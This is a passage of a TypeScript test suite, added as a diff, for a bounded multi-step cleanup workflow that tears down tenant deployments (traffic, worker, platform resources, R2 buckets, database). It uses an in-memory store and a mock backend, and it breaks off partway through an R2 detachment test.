+const PLATFORM_RESOURCES: ExternalPlatformResources = {
+  maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+  stateWorker: {
+    scriptName: 'acme-production-state',
+    artifactVersion: 'state-v1',
+    artifactDigest: 'c'.repeat(64),
+    durableObjectBindings: [],
+    namespaceIds: [],
+  },
+};
+
+function record(overrides: Partial<FleetRecord> = {}): FleetRecord {
+  return {
+    tenantTag: 'acme',
+    environment: 'production',
+    backend: 'plain-worker',
+    scriptName: 'acme-production',
+    databaseId: DATABASE_ID,
+    databaseName: 'acme-production',
+    schemaVersion: 3,
+    artifactVersion: 'artifact-v1',
+    desiredSpecDigest: deploymentSpecDigest(spec()),
+    durableObjectBindings: [],
+    applicationResources: [],
+    routeHostname: 'acme.example.test',
+    invocationAuthority: { version: 1, authorizedAt: null },
+    phase: 'worker-deployed',
+    updatedAt: NOW,
+    ...overrides,
+  };
+}
+
+function intentFor(
+  source: FleetRecord,
+  state: CleanupAdvanceState,
+  overrides: Partial<CleanupAdvanceIntent> = {},
+): CleanupAdvanceIntent {
+  return {
+    version: 1,
+    operationId: OPERATION_ID,
+    revision: 0,
+    generation: 0,
+    updatedAt: NOW,
+    authority: { kind: 'manual-cleanup' },
+    identity: {
+      record: {
+        tenantTag: source.tenantTag,
+        environment: source.environment,
+        backend: source.backend,
+        scriptName: source.scriptName,
+        databaseId: source.databaseId,
+        databaseName: source.databaseName,
+        routeHostname: source.routeHostname,
+      },
+      admittedPhase: 'worker-deployed',
+      externalArtifact: false,
+    },
+    state,
+    ...overrides,
+  };
+}
+
+function activeRecord(
+  state: CleanupAdvanceState,
+  input: Readonly<{
+    admittedPhase?: ProvisioningPhase;
+    authority?: CleanupAuthority;
+    revision?: number;
+    generation?: number;
+    record?: Partial<FleetRecord>;
+  }> = {},
+): FleetRecord {
+  const base = record({ ...input.record, phase: 'cleanup-advancing' });
+  return {
+    ...base,
+    cleanupIntent: intentFor(base, state, {
+      ...(input.authority ? { authority: input.authority } : {}),
+      revision: input.revision ?? 0,
+      generation: input.generation ?? 0,
+      identity: {
+        ...intentFor(base, state).identity,
+        admittedPhase: input.admittedPhase ?? 'worker-deployed',
+      },
+    }),
+  };
+}
+
+function discoverState(): CleanupAdvanceState {
+  return {
+    step: 'attachment-scan',
+    scan: {
+      purpose: {
+        kind: 'cleanup-database-pre-delete',
+        databaseId: DATABASE_ID,
+        operationId: OPERATION_ID,
+      },
+      pass: 'discover',
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: DATABASE_ID,
+      }),
+    },
+  };
+}
+
+function verifyState(): CleanupAdvanceState {
+  return {
+    step: 'attachment-scan',
+    scan: {
+      purpose: {
+        kind: 'cleanup-database-pre-delete',
+        databaseId: DATABASE_ID,
+        operationId: OPERATION_ID,
+      },
+      pass: 'verify',
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: DATABASE_ID,
+      }),
+      discoverEvidence: { evidenceSha256: EVIDENCE_A, evidenceCount: 2 },
+    },
+  };
+}
+
+function token(
+  revision = 0,
+  operationId = OPERATION_ID,
+  overrides: Partial<CleanupAdvanceToken> = {},
+): CleanupAdvanceToken {
+  return {
+    version: 1,
+    tenantTag: 'acme',
+    environment: 'production',
+    operationId,
+    revision,
+    ...overrides,
+  };
+}
+
+function scanComplete(
+  evidenceSha256 = EVIDENCE_A,
+  evidenceCount = 2,
+): DecommissionAttachmentScanResult {
+  return {
+    status: 'complete',
+    evidenceSha256,
+    evidenceCount,
+    providerFetchAttemptsReserved: 3,
+  };
+}
+
+function scanAttached(): DecommissionAttachmentScanResult {
+  return {
+    status: 'attached',
+    attachment: {
+      plane: 'dispatch',
+      scriptName: 'tenant-holder',
+      dispatchNamespace: 'tenants',
+    },
+    providerFetchAttemptsReserved: 3,
+  };
+}
+
+class CleanupMemoryStore implements FleetStateStore {
+  record: FleetRecord | undefined;
+  readonly receipts = new Map<string, CleanupTerminalReceipt>();
+  puts = 0;
+  completeCleanupCalls = 0;
+  completedAtMs = 1_000;
+  leased = false;
+  supportsCompleteCleanup = true;
+  failTerminalResponseOnce = false;
+  readCleanupReceipt?: (
+    operationId: string,
+  ) => Promise<CleanupTerminalReceipt | undefined>;
+  pruneCleanupReceipts?: (
+    input: Readonly<{ completedBeforeMs: number; limit: number }>,
+  ) => Promise<Readonly<{ deleted: number }>>;
+
+  constructor() {
+    this.readCleanupReceipt = async (operationId) =>
+      this.receipts.get(operationId);
+    this.pruneCleanupReceipts = async ({ completedBeforeMs, limit }) => {
+      const doomed = [...this.receipts.values()]
+        .filter((receipt) => (receipt.completedAtMs ?? 0) < completedBeforeMs)
+        .slice(0, limit);
+      for (const receipt of doomed) this.receipts.delete(receipt.operationId);
+      return { deleted: doomed.length };
+    };
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    operation: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    if (this.leased) throw new Error('deployment is already being modified');
+    this.leased = true;
+    try {
+      return await operation(this.lease(tenantTag, environment));
+    } finally {
+      this.leased = false;
+    }
+  }
+
+  lease(tenantTag: string, environment: string): FleetStateLease {
+    return {
+      tenantTag,
+      environment,
+      mutationLeaseTtlMs: 15 * 60_000,
+      assertOwned: async () => {},
+      renew: async () => {},
+      put: (next) => this.put(next),
+      delete: async () => {
+        this.record = undefined;
+      },
+      ...(this.supportsCompleteCleanup
+        ? {
+            completeCleanup: (input: {
+              receipt: CleanupTerminalReceipt;
+              expectedRevision: number;
+            }) => this.completeCleanup(input),
+          }
+        : {}),
+    };
+  }
+
+  async put(next: FleetRecord): Promise<void> {
+    let normalized = next;
+    if (next.cleanupIntent) {
+      const { cleanupIntent, ...source } = next;
+      normalized = {
+        ...source,
+        cleanupIntent: normalizeCleanupAdvanceIntent(cleanupIntent, source),
+      };
+    }
+    this.puts += 1;
+    this.record = normalized;
+  }
+
+  async completeCleanup(input: {
+    receipt: CleanupTerminalReceipt;
+    expectedRevision: number;
+  }): Promise<CleanupTerminalReceipt> {
+    this.completeCleanupCalls += 1;
+    const current = this.record;
+    if (
+      current?.phase !== 'cleanup-advancing' ||
+      current.cleanupIntent?.operationId !== input.receipt.operationId ||
+      current.cleanupIntent.revision !== input.expectedRevision
+    ) {
+      const existing = this.receipts.get(input.receipt.operationId);
+      if (existing) return existing;
+      throw new Error(
+        `cleanup receipt conflict for operation '${input.receipt.operationId}'`,
+      );
+    }
+    const persisted = { ...input.receipt, completedAtMs: this.completedAtMs };
+    this.completedAtMs += 1;
+    this.receipts.set(persisted.operationId, persisted);
+    this.record = undefined;
+    if (this.failTerminalResponseOnce) {
+      this.failTerminalResponseOnce = false;
+      throw new Error('terminal response lost');
+    }
+    return persisted;
+  }
+
+  async get(): Promise<FleetRecord | undefined> {
+    return this.record;
+  }
+
+  async list(): Promise<readonly FleetRecord[]> {
+    return this.record ? [this.record] : [];
+  }
+}
+
+class CleanupBackend implements ProvisioningBackend {
+  kind: ProvisioningBackendKind = 'plain-worker';
+  immutableExternalArtifacts?: true;
+  providerCalls = 0;
+  readonly events: string[] = [];
+  databaseExists = true;
+  databaseId = DATABASE_ID;
+  databaseName = 'acme-production';
+  databaseOwner: string | undefined = 'acme';
+  detachFailure: unknown;
+  readonly seededFenceStates: InitialExecutionFenceState[] = [];
+  readonly scanInputs: DecommissionAttachmentScanInput[] = [];
+  scanResults: DecommissionAttachmentScanResult[] = [];
+  readonly liveBuckets = new Map<string, ApplicationR2BucketSnapshot>();
+
+  advanceDecommissionAttachmentScan?: (
+    input: DecommissionAttachmentScanInput,
+  ) => Promise<DecommissionAttachmentScanResult>;
+  assertDatabaseDeletionResidualsRemoved?: () => Promise<void>;
+  revokePlatformResourceCredentials?: () => Promise<void>;
+  deletePlatformResources?: () => Promise<void>;
+  findApplicationR2Bucket?: (
+    resource: ApplicationR2Resource,
+  ) => Promise<ApplicationR2BucketSnapshot | undefined>;
+  assertApplicationR2Empty?: () => Promise<void>;
+  assertApplicationR2Detached?: () => Promise<void>;
+  deleteApplicationR2Bucket?: (
+    resource: ApplicationR2Resource,
+  ) => Promise<void>;
+
+  constructor() {
+    this.advanceDecommissionAttachmentScan = async (input) => {
+      this.call('attachmentScan');
+      this.scanInputs.push(input);
+      const result = this.scanResults.shift();
+      if (!result) throw new Error('unexpected attachment scan');
+      return result;
+    };
+    this.assertDatabaseDeletionResidualsRemoved = async () => {
+      this.call('residuals');
+    };
+    this.revokePlatformResourceCredentials = async () => {
+      this.call('revokePlatformResourceCredentials');
+    };
+    this.deletePlatformResources = async () => {
+      this.call('deletePlatformResources');
+    };
+    this.findApplicationR2Bucket = async (resource) => {
+      this.call('findApplicationR2Bucket');
+      return this.liveBuckets.get(resource.bucketName);
+    };
+    this.assertApplicationR2Empty = async () => {
+      this.call('assertApplicationR2Empty');
+    };
+    this.assertApplicationR2Detached = async () => {
+      this.call('assertApplicationR2Detached');
+      if (this.detachFailure !== undefined) throw this.detachFailure;
+    };
+    this.deleteApplicationR2Bucket = async (resource) => {
+      this.call('deleteApplicationR2Bucket');
+      this.liveBuckets.delete(resource.bucketName);
+    };
+  }
+
+  call(name: string): void {
+    this.providerCalls += 1;
+    this.events.push(name);
+  }
+
+  drainEvents(): readonly string[] {
+    return this.events.splice(0);
+  }
+
+  async findDatabase(): Promise<DatabaseReference | undefined> {
+    this.call('findDatabase');
+    return this.databaseExists
+      ? { id: this.databaseId, name: this.databaseName, created: false }
+      : undefined;
+  }
+
+  async getDatabase(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined> {
+    this.call('getDatabase');
+    return this.databaseExists && databaseId === this.databaseId
+      ? { id: this.databaseId, name: this.databaseName, created: false }
+      : undefined;
+  }
+
+  async readDeploymentIdentity(): Promise<string | undefined> {
+    this.call('readDeploymentIdentity');
+    return this.databaseOwner;
+  }
+
+  async seedDeploymentIdentity(
+    _database: DatabaseReference,
+    tenantTag: string,
+    _fence: unknown,
+    options: SeedDeploymentIdentityOptions,
+  ): Promise<void> {
+    this.call('seedDeploymentIdentity');
+    this.seededFenceStates.push(options.initialExecutionFenceState);
+    this.databaseOwner = tenantTag;
+  }
+
+  async deleteDatabase(): Promise<void> {
+    this.call('deleteDatabase');
+    this.databaseExists = false;
+  }
+
+  async removeTraffic(): Promise<void> {
+    this.call('removeTraffic');
+  }
+
+  async assertTrafficRemoved(): Promise<void> {
+    this.call('assertTrafficRemoved');
+  }
+
+  async revokeCredentials(): Promise<void> {
+    this.call('revokeCredentials');
+  }
+
+  async deleteWorker(): Promise<void> {
+    this.call('deleteWorker');
+  }
+
+  async ensureDatabase(): Promise<never> {
+    throw new Error('unexpected ensureDatabase call');
+  }
+
+  async applyMigrations(): Promise<never> {
+    throw new Error('unexpected applyMigrations call');
+  }
+
+  async deployWorker(): Promise<never> {
+    throw new Error('unexpected deployWorker call');
+  }
+
+  async promoteWorker(): Promise<never> {
+    throw new Error('unexpected promoteWorker call');
+  }
+
+  async ensureMaintenance(): Promise<never> {
+    throw new Error('unexpected ensureMaintenance call');
+  }
+
+  async inspect(): Promise<never> {
+    throw new Error('unexpected inspect call');
+  }
+
+  async attestActiveRoute(): Promise<never> {
+    throw new Error('unexpected attestActiveRoute call');
+  }
+
+  async assertDatabaseDetached(): Promise<never> {
+    throw new Error('unexpected assertDatabaseDetached call');
+  }
+
+  async exportDatabase(): Promise<never> {
+    throw new Error('unexpected exportDatabase call');
+  }
+}
+
+function harness(): {
+  store: CleanupMemoryStore;
+  backend: CleanupBackend;
+} {
+  return { store: new CleanupMemoryStore(), backend: new CleanupBackend() };
+}
+
+function options(
+  store: CleanupMemoryStore,
+  backend: CleanupBackend,
+  action: AdvanceCleanupDeploymentOptions['action'],
+  overrides: Partial<AdvanceCleanupDeploymentOptions> = {},
+): AdvanceCleanupDeploymentOptions {
+  return {
+    backend,
+    store,
+    spec: spec(),
+    action,
+    maxProviderRequests: 9,
+    randomUUID: () => OPERATION_ID,
+    ...overrides,
+  };
+}
+
+function start(
+  store: CleanupMemoryStore,
+  backend: CleanupBackend,
+  overrides: Partial<AdvanceCleanupDeploymentOptions> = {},
+): Promise<CleanupAdvanceResult> {
+  return advanceCleanupDeployment(
+    options(store, backend, { kind: 'start' }, overrides),
+  );
+}
+
+function continueWith(
+  store: CleanupMemoryStore,
+  backend: CleanupBackend,
+  continuation: unknown,
+  overrides: Partial<AdvanceCleanupDeploymentOptions> = {},
+): Promise<CleanupAdvanceResult> {
+  return advanceCleanupDeployment(
+    options(
+      store,
+      backend,
+      { kind: 'continue', token: continuation },
+      overrides,
+    ),
+  );
+}
+
+function activeIntent(store: CleanupMemoryStore): CleanupAdvanceIntent {
+  const intent = store.record?.cleanupIntent;
+  if (!intent) throw new Error('expected an active cleanup intent');
+  return intent;
+}
+
+function r2Resource(
+  state: ApplicationR2Resource['state'],
+  overrides: Partial<ApplicationR2Resource> = {},
+): ApplicationR2Resource {
+  const [reserved] = reserveApplicationR2Resources(r2Spec());
+  if (!reserved) throw new Error('expected a reserved application resource');
+  return { ...reserved, state, creationDate: CREATION_DATE, ...overrides };
+}
+
+function r2ActiveRecord(
+  state: CleanupAdvanceState,
+  resource: ApplicationR2Resource,
+): FleetRecord {
+  return activeRecord(state, {
+    record: {
+      applicationResources: [resource],
+      desiredSpecDigest: deploymentSpecDigest(r2Spec()),
+    },
+  });
+}
+
+function liveBucket(
+  resource: ApplicationR2Resource,
+): ApplicationR2BucketSnapshot {
+  return {
+    name: resource.name,
+    bucketName: resource.bucketName,
+    jurisdiction: resource.jurisdiction,
+    creationDate: resource.creationDate ?? CREATION_DATE,
+  };
+}
+
+describe('bounded cleanup admission', () => {
+  it('starts a manual cleanup into teardown-traffic and persists the admission identity', async () => {
+    const { store, backend } = harness();
+    store.record = record();
+    let uuidCalls = 0;
+    const result = await start(store, backend, {
+      randomUUID: () => {
+        uuidCalls += 1;
+        return OPERATION_ID;
+      },
+    });
+    expect(result).toEqual({ status: 'pending', token: token(0) });
+    expect(uuidCalls).toBe(1);
+    expect(store.puts).toBe(1);
+    expect(backend.providerCalls).toBe(0);
+    expect(store.record?.phase).toBe('cleanup-advancing');
+    const intent = activeIntent(store);
+    expect(intent.authority).toEqual({ kind: 'manual-cleanup' });
+    expect(intent.identity.admittedPhase).toBe('worker-deployed');
+    expect(intent.identity.externalArtifact).toBe(false);
+    expect(intent.state).toEqual({ step: 'teardown-traffic' });
+  });
+
+  it('starts a reservation cleanup at database-deletion and clears an absent reservation with a receipt', async () => {
+    const { store, backend } = harness();
+    store.record = record({ phase: 'database-create-authorized' });
+    backend.databaseExists = false;
+    const started = await start(store, backend);
+    expect(started.status).toBe('pending');
+    expect(activeIntent(store).state).toEqual({ step: 'database-deletion' });
+    const result = await continueWith(store, backend, token(0));
+    if (result.status !== 'complete') throw new Error('expected complete');
+    expect(result.receipt.disposition).toBe('reservation-cleared');
+    expect(result.receipt.admittedPhase).toBe('database-create-authorized');
+    expect(result.receipt.evidence).toEqual({
+      eligibility: 'reservation-only',
+      ingressRemoved: false,
+      workerAbsent: false,
+      platformResourcesAbsent: false,
+      applicationR2Settled: false,
+      databaseAbsentReadback: true,
+    });
+    expect(typeof result.receipt.completedAtMs).toBe('number');
+    expect(store.record).toBeUndefined();
+    expect(store.receipts.get(OPERATION_ID)).toEqual(result.receipt);
+  });
+
+  it('preserves the unauthorized database reservation refusal at admission and in the group', async () => {
+    const { store, backend } = harness();
+    store.record = record({ phase: 'database-reserved' });
+    const message = `refusing to clear an unauthorized database reservation while '${DATABASE_ID}:acme-production' exists`;
+    await expect(start(store, backend)).rejects.toThrow(message);
+    expect(store.record?.phase).toBe('database-reserved');
+    expect(store.record?.cleanupIntent).toBeUndefined();
+    const seeded = harness();
+    seeded.store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-reserved' },
+    );
+    await expect(
+      continueWith(seeded.store, seeded.backend, token(0)),
+    ).rejects.toThrow(message);
+    expect(seeded.store.record?.cleanupIntent).toBeDefined();
+  });
+
+  it('refuses ineligible admissions with fixed messages and zero provider mutations', async () => {
+    const cases: readonly Readonly<{
+      overrides: Partial<FleetRecord>;
+      backendKind?: ProvisioningBackendKind;
+      message: string;
+    }>[] = [
+      {
+        overrides: {
+          invocationAuthority: { version: 1, authorizedAt: AUTHORIZED_AT },
+        },
+        message:
+          'deployment candidate invocation was durably authorized; use export-backed decommissioning',
+      },
+      {
+        overrides: { invocationAuthority: undefined },
+        message:
+          'legacy deployment phase cannot rule out candidate invocation; use export-backed decommissioning',
+      },
+      {
+        overrides: { phase: 'maintenance-armed' },
+        message:
+          'invocation authority carrier is inconsistent with the deployment phase; use export-backed decommissioning',
+      },
+      {
+        overrides: {
+          invocationAuthority: {
+            version: 2,
+          } as unknown as InvocationAuthorityCarrier,
+        },
+        message:
+          'invocation authority carrier is malformed; use export-backed decommissioning',
+      },
+      {
+        overrides: {
+          backend: 'workers-for-platforms',
+          wfpMode: 'platform-catalog',
+        },
+        backendKind: 'workers-for-platforms',
+        message:
+          'deployment carries an untrusted data binding; use export-backed decommissioning',
+      },
+      {
+        overrides: {
+          pendingRelease: {
+            physicalScriptName: 'acme-production-r2',
+            specDigest: 'd'.repeat(64),
+            artifactVersion: 'artifact-v2',
+            releaseSchemaVersion: 3,
+          },
+        },
+        message:
+          'deployment carries external staging evidence; use export-backed decommissioning',
+      },
+      {
+        overrides: { phase: 'publishing' },
+        message:
+          "deployment in phase 'publishing' requires export-backed decommissioning",
+      },
+    ];
+    for (const testCase of cases) {
+      const { store, backend } = harness();
+      const seeded = record();
+      const overridden: FleetRecord = { ...seeded, ...testCase.overrides };
+      if (testCase.overrides.invocationAuthority === undefined) {
+        const { invocationAuthority: _carrier, ...legacy } = overridden;
+        store.record =
+          'invocationAuthority' in testCase.overrides ? legacy : overridden;
+      } else {
+        store.record = overridden;
+      }
+      if (testCase.backendKind) backend.kind = testCase.backendKind;
+      const recordBeforeAdmission = structuredClone(store.record);
+      await expect(start(store, backend)).rejects.toThrow(testCase.message);
+      expect(store.puts).toBe(0);
+      expect(backend.providerCalls).toBe(0);
+      expect(store.record).toStrictEqual(recordBeforeAdmission);
+    }
+    const empty = harness();
+    await expect(start(empty.store, empty.backend)).rejects.toThrow(
+      'deployment is not registered',
+    );
+  });
+
+  it('persists the admission externalArtifact and consumes the persisted value over the live backend flag', async () => {
+    const refused = harness();
+    refused.store.record = record();
+    refused.backend.immutableExternalArtifacts = true;
+    await expect(start(refused.store, refused.backend)).rejects.toThrow(
+      'deployment carries an untrusted data binding; use export-backed decommissioning',
+    );
+    const { store, backend } = harness();
+    store.record = record({ phase: 'database-created' });
+    await start(store, backend);
+    expect(activeIntent(store).identity.externalArtifact).toBe(false);
+    const persisted = harness();
+    persisted.store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-created' },
+    );
+    persisted.backend.databaseOwner = undefined;
+    persisted.backend.immutableExternalArtifacts = true;
+    const result = await continueWith(
+      persisted.store,
+      persisted.backend,
+      token(0),
+    );
+    expect(result.status).toBe('complete');
+  });
+
+  it('validates the provider request budget before any work', async () => {
+    for (const budget of [8, 1_001]) {
+      const { store, backend } = harness();
+      store.record = record();
+      await expect(
+        start(store, backend, { maxProviderRequests: budget }),
+      ).rejects.toThrow(
+        'maxProviderRequests must be an integer from 9 to 1000',
+      );
+      expect(store.puts).toBe(0);
+      expect(backend.providerCalls).toBe(0);
+    }
+  });
+
+  it('refuses to admit teardown cleanup without the bounded start capabilities', async () => {
+    const scanless = harness();
+    scanless.store.record = record();
+    scanless.backend.advanceDecommissionAttachmentScan = undefined;
+    await expect(start(scanless.store, scanless.backend)).rejects.toThrow(
+      new CleanupAdvanceCapabilityError('attachment-scan').message,
+    );
+    const residualless = harness();
+    residualless.store.record = record();
+    residualless.backend.assertDatabaseDeletionResidualsRemoved = undefined;
+    await expect(
+      start(residualless.store, residualless.backend),
+    ).rejects.toThrow(
+      new CleanupAdvanceCapabilityError('database-residuals').message,
+    );
+    expect(scanless.store.puts + residualless.store.puts).toBe(0);
+    expect(
+      scanless.backend.providerCalls + residualless.backend.providerCalls,
+    ).toBe(0);
+  });
+});
+
+describe('bounded cleanup start resume', () => {
+  it('resumes an existing manual cleanup from start without a new operation or classifier re-run', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'teardown-worker' },
+      {
+        revision: 4,
+        record: {
+          invocationAuthority: { version: 1, authorizedAt: AUTHORIZED_AT },
+        },
+      },
+    );
+    const result = await start(store, backend, { randomUUID: unexpectedUUID });
+    expect(result).toEqual({ status: 'pending', token: token(4) });
+    expect(store.puts).toBe(0);
+    expect(backend.providerCalls).toBe(0);
+  });
+
+  it('returns the blocked result from start when the operation is blocked', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      {
+        step: 'blocked',
+        purpose: {
+          kind: 'cleanup-database-pre-delete',
+          databaseId: DATABASE_ID,
+          operationId: OPERATION_ID,
+        },
+        attachment: { plane: 'ordinary', scriptName: 'tenant-holder' },
+      },
+      { revision: 2 },
+    );
+    const result = await start(store, backend, { randomUUID: unexpectedUUID });
+    expect(result).toEqual({
+      status: 'blocked',
+      token: token(2),
+      purpose: {
+        kind: 'cleanup-database-pre-delete',
+        databaseId: DATABASE_ID,
+        operationId: OPERATION_ID,
+      },
+      attachment: { plane: 'ordinary', scriptName: 'tenant-holder' },
+    });
+  });
+
+  it('validates the resuming caller before returning the authoritative result', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord({ step: 'teardown-worker' });
+    backend.kind = 'workers-for-platforms';
+    await expect(
+      start(store, backend, { randomUUID: unexpectedUUID }),
+    ).rejects.toThrow('cleanup backend does not own this deployment');
+    backend.kind = 'plain-worker';
+    await expect(
+      start(store, backend, {
+        spec: spec({ databaseName: 'acme-other' }),
+        randomUUID: unexpectedUUID,
+      }),
+    ).rejects.toThrow(
+      "deployment 'acme:production' already exists with a different immutable resource mapping",
+    );
+  });
+
+  it('resumes a provisioning-rollback intent from start only for the requested specification', async () => {
+    const authority: CleanupAuthority = {
+      kind: 'provisioning-rollback',
+      reservationOwned: true,
+      databaseOwned: true,
+      workerCreatedByAttempt: true,
+      workerResourceState: 'unknown',
+      requestedSpecDigest: deploymentSpecDigest(spec()),
+    };
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'teardown-traffic' },
+      { authority, revision: 1 },
+    );
+    const result = await start(store, backend, { randomUUID: unexpectedUUID });
+    expect(result).toEqual({ status: 'pending', token: token(1) });
+    const mismatched = harness();
+    mismatched.store.record = activeRecord(
+      { step: 'teardown-traffic' },
+      { authority: { ...authority, requestedSpecDigest: 'f'.repeat(64) } },
+    );
+    await expect(
+      start(mismatched.store, mismatched.backend, {
+        randomUUID: unexpectedUUID,
+      }),
+    ).rejects.toThrow('cleanup retry uses a different requested specification');
+  });
+});
+
+describe('bounded cleanup one-group-per-call', () => {
+  it('performs at most one action group per call through the full teardown path', async () => {
+    const { store, backend } = harness();
+    store.record = record({
+      phase: 'platform-resources-deployed',
+      platformResources: PLATFORM_RESOURCES,
+    });
+    backend.scanResults = [scanComplete(), scanComplete()];
+    const started = await start(store, backend);
+    expect(started).toEqual({ status: 'pending', token: token(0) });
+    expect(backend.drainEvents()).toEqual([]);
+
+    const traffic = await continueWith(store, backend, token(0));
+    expect(traffic).toEqual({ status: 'pending', token: token(1) });
+    expect(backend.drainEvents()).toEqual([
+      'removeTraffic',
+      'assertTrafficRemoved',
+    ]);
+    expect(activeIntent(store).state).toEqual({ step: 'teardown-worker' });
+
+    const worker = await continueWith(store, backend, token(1));
+    expect(worker).toEqual({ status: 'pending', token: token(2) });
+    expect(backend.drainEvents()).toEqual([
+      'revokeCredentials',
+      'deleteWorker',
+    ]);
+    expect(activeIntent(store).state).toEqual({ step: 'teardown-platform' });
+
+    const platform = await continueWith(store, backend, token(2));
+    expect(platform).toEqual({ status: 'pending', token: token(3) });
+    expect(backend.drainEvents()).toEqual([
+      'revokePlatformResourceCredentials',
+      'deletePlatformResources',
+    ]);
+    expect(activeIntent(store).state).toEqual({
+      step: 'r2-deletion',
+      startResourceIndex: 0,
+    });
+
+    const r2 = await continueWith(store, backend, token(3));
+    expect(r2).toEqual({ status: 'pending', token: token(4) });
+    expect(backend.drainEvents()).toEqual([]);
+    expect(activeIntent(store).state).toEqual(
+      intentFor(store.record as FleetRecord, discoverState()).state,
+    );
+
+    const discover = await continueWith(store, backend, token(4));
+    expect(discover).toEqual({ status: 'pending', token: token(5) });
+    expect(backend.drainEvents()).toEqual(['attachmentScan']);
+    const verifyIntent = activeIntent(store);
+    if (verifyIntent.state.step !== 'attachment-scan') {
+      throw new Error('expected an attachment scan state');
+    }
+    expect(verifyIntent.state.scan.pass).toBe('verify');
+    expect(verifyIntent.state.scan.discoverEvidence).toEqual({
+      evidenceSha256: EVIDENCE_A,
+      evidenceCount: 2,
+    });
+
+    const verify = await continueWith(store, backend, token(5));
+    expect(verify).toEqual({ status: 'pending', token: token(6) });
+    expect(backend.drainEvents()).toEqual(['attachmentScan']);
+    expect(activeIntent(store).state).toEqual({ step: 'database-deletion' });
+
+    const result = await continueWith(store, backend, token(6));
+    if (result.status !== 'complete') throw new Error('expected complete');
+    expect(backend.drainEvents()).toEqual([
+      'getDatabase',
+      'readDeploymentIdentity',
+      'residuals',
+      'deleteDatabase',
+      'getDatabase',
+    ]);
+    expect(result.token).toEqual(token(6));
+    expect(result.receipt.disposition).toBe('prepublication-owned-no-export');
+    expect(result.receipt.authority).toBe('manual-cleanup');
+    expect(result.receipt.admittedPhase).toBe('platform-resources-deployed');
+    expect(result.receipt.evidence).toEqual({
+      eligibility: 'carrier-null',
+      ingressRemoved: true,
+      workerAbsent: true,
+      platformResourcesAbsent: true,
+      applicationR2Settled: true,
+      databaseAbsentReadback: true,
+    });
+    expect(store.record).toBeUndefined();
+    expect(store.completeCleanupCalls).toBe(1);
+  });
+
+  it('replays a lost teardown transition as a durable no-op', async () => {
+    const groups: readonly Readonly<{
+      state: CleanupAdvanceState;
+      events: readonly string[];
+      next: CleanupAdvanceState;
+    }>[] = [
+      {
+        state: { step: 'teardown-traffic' },
+        events: ['removeTraffic', 'assertTrafficRemoved'],
+        next: { step: 'teardown-worker' },
+      },
+      {
+        state: { step: 'teardown-worker' },
+        events: ['revokeCredentials', 'deleteWorker'],
+        next: { step: 'teardown-platform' },
+      },
+      {
+        state: { step: 'teardown-platform' },
+        events: [
+          'revokePlatformResourceCredentials',
+          'deletePlatformResources',
+        ],
+        next: { step: 'r2-deletion', startResourceIndex: 0 },
+      },
+    ];
+    for (const group of groups) {
+      const { store, backend } = harness();
+      store.record = activeRecord(group.state, {
+        admittedPhase: 'platform-resources-deployed',
+        record: { platformResources: PLATFORM_RESOURCES },
+      });
+      const snapshot = store.record;
+      const first = await continueWith(store, backend, token(0));
+      expect(first).toEqual({ status: 'pending', token: token(1) });
+      expect(backend.drainEvents()).toEqual(group.events);
+      expect(activeIntent(store).state).toEqual(group.next);
+      store.record = snapshot;
+      const replayed = await continueWith(store, backend, token(0));
+      expect(replayed).toEqual({ status: 'pending', token: token(1) });
+      expect(backend.drainEvents()).toEqual(group.events);
+      expect(activeIntent(store).state).toEqual(group.next);
+    }
+  });
+});
+
+describe('bounded cleanup application R2 deletion', () => {
+  it('persists advanced application resources and moves the start index only on deleted', async () => {
+    const { store, backend } = harness();
+    const resource = r2Resource('empty');
+    backend.liveBuckets.set(resource.bucketName, liveBucket(resource));
+    store.record = r2ActiveRecord(
+      { step: 'r2-deletion', startResourceIndex: 0 },
+      resource,
+    );
+    const authorized = await continueWith(store, backend, token(0), {
+      spec: r2Spec(),
+    });
+    expect(authorized).toEqual({ status: 'pending', token: token(1) });
+    expect(backend.drainEvents()).toEqual([]);
+    expect(store.record?.applicationResources?.[0]?.state).toBe(
+      'delete-authorized',
+    );
+    expect(activeIntent(store).state).toEqual({
+      step: 'r2-deletion',
+      startResourceIndex: 0,
+    });
+    const deleted = await continueWith(store, backend, token(1), {
+      spec: r2Spec(),
+    });
+    expect(deleted).toEqual({ status: 'pending', token: token(2) });
+    expect(backend.drainEvents()).toEqual([
+      'findApplicationR2Bucket',
+      'deleteApplicationR2Bucket',
+      'findApplicationR2Bucket',
+    ]);
+    expect(store.record?.applicationResources?.[0]?.state).toBe('deleted');
+    expect(activeIntent(store).state).toEqual({
+      step: 'r2-deletion',
+      startResourceIndex: 1,
+    });
+    const complete = await continueWith(store, backend, token(2), {
+      spec: r2Spec(),
+    });
+    expect(complete).toEqual({ status: 'pending', token: token(3) });
+    const scanIntent = activeIntent(store);
+    expect(scanIntent.state.step).toBe('attachment-scan');
+    expect(scanIntent.generation).toBe(1);
+  });
+
+  it('runs the detachment lifecycle through the application-r2-detach capability', async () => {
+    const { store, backend } = harness();
+    const resource = r2Resource('created');
+    backend.liveBuckets.set(resource.bucketName, liveBucket(resource));
+    store.record = r2ActiveRecord(
+      { step: 'r2-deletion', startResourceIndex: 0 },
+      resource,
+    );
+    const detachRequired = await continueWith(store, backend, token(0), {
+      spec: r2Spec(),
+    });
+    expect(detachRequired).toEqual({ status: 'pending', token: token(1) });
+    expect(backend.drainEvents()).toEqual([
+      'findApplicationR2Bucket',
+      'assertApplicationR2Detached',
+    ]);
+    expect(store.record?.applicationResources?.[0]?.state).toBe(
+      'detach-authorized',
+    );
+    expect(activeIntent(store).state).toEqual({
+      step: 'r2-deletion',
+      startResourceIndex: 0,
+      verifiedDetachmentResourceIndex: 0,
+    });
+    const detached = await continueWith(store, backend, token(1), {
+      spec: r2Spec(),
+    });
+    expect(detached).toEqual({ status: 'pending', token: token(2) });
+    expect(backend.drainEvents()).toEqual([]);
